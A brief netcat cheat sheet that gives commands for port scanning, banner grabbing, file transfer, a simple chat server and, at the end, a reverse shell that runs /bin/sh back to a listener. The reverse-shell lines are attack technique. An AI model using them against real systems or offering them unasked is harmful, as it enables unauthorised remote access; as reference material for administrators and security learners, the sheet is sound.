Netcat is a versatile networking tool known for its simplicity and effectiveness. It’s used for tasks like port scanning, file transfers, and network debugging, utilizing TCP/UDP protocols. Commonly referred to as the “Swiss Army knife” of networking, it’s a fundamental tool for system administrators and security professionals.
Port scanning
# command
nc -zv [server IP or domain] [port range]
# example
nc -zv example.com 80-90
Banner grapping
# command
nc [server IP or domain] [port]
# ecample
nc example.com 80
transfering files
# receiving
nc -l -p [port] > [output file]
# sending
nc [server IP] [port] < [input file]
simple chat server
# server
nc -l -p [port]
# client
nc [server IP] [port]
reverse shell
# client
nc -lvp 1234
# target
nc [client's IP] [port] -e /bin/sh